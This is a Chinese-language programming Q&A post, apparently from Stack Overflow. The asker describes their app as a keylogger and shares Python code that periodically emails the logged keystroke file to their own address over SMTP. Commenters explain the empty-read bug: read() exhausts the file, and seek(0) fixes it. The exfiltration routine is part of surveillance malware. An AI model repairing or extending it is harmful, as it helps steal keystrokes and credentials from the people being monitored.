【发布时间】:2022-01-15 05:31:11
【问题描述】:
我的应用是键盘记录器。我使用一个线程来设置一个计时器,将文件“final.txt”的内容发送到我的电子邮件。实际的电子邮件发送过程工作正常,但虽然文件不是空的(我检查过),但当我尝试发送它时它显示为空。运行“proc”后,文件也会清空。
为什么会发生这种情况,我该如何解决?
def proc():
while True:
with open("final.txt","a+") as mailFile:
print(mailFile.read() +' end')
data ="====== \n DATA \n ====== \n \n" + mailFile.read()
if len(mailFile.read()) > 0:
with open('final.txt','w') as tempFile:
tempFile.truncate()
tempFile.close()
file.close()
send(data)
else:
file.close()
time.sleep(HOUR/60)
x = threading.Thread(target=proc)
x.start()
def send(file):
msg = EmailMessage()
msg['From'] = sender_email
msg['To'] = reciver_email
msg['Subject'] = f"{os.getlogin()}: {time.localtime()[3]}:{time.localtime()[4]} - {time.localtime()[2]}/{time.localtime()[1]}/{time.localtime()[0]}"
msg.set_content(file)
try:
server = smtplib.SMTP('64.233.184.108')
server.starttls()
server.login(sender_email,password)
except:
send_mode('Disonnected')
sys.exit()
server.send_message(msg)
server.quit()
【问题讨论】:
-
我几乎不知道
proc()想要做什么,但如果你运行some_file.read()它会读取整个文件。如果您再次执行some_file.read(),它只会返回空字符串:''。 -
@mechanical_meat 我尝试在再次阅读之前执行 file.close() 但它仍然无法正常工作。如果我尝试同时打开文件 2 次,第二次将返回 '' ?
-
查看
.seek(0)回到文件开头;无需关闭并重新打开。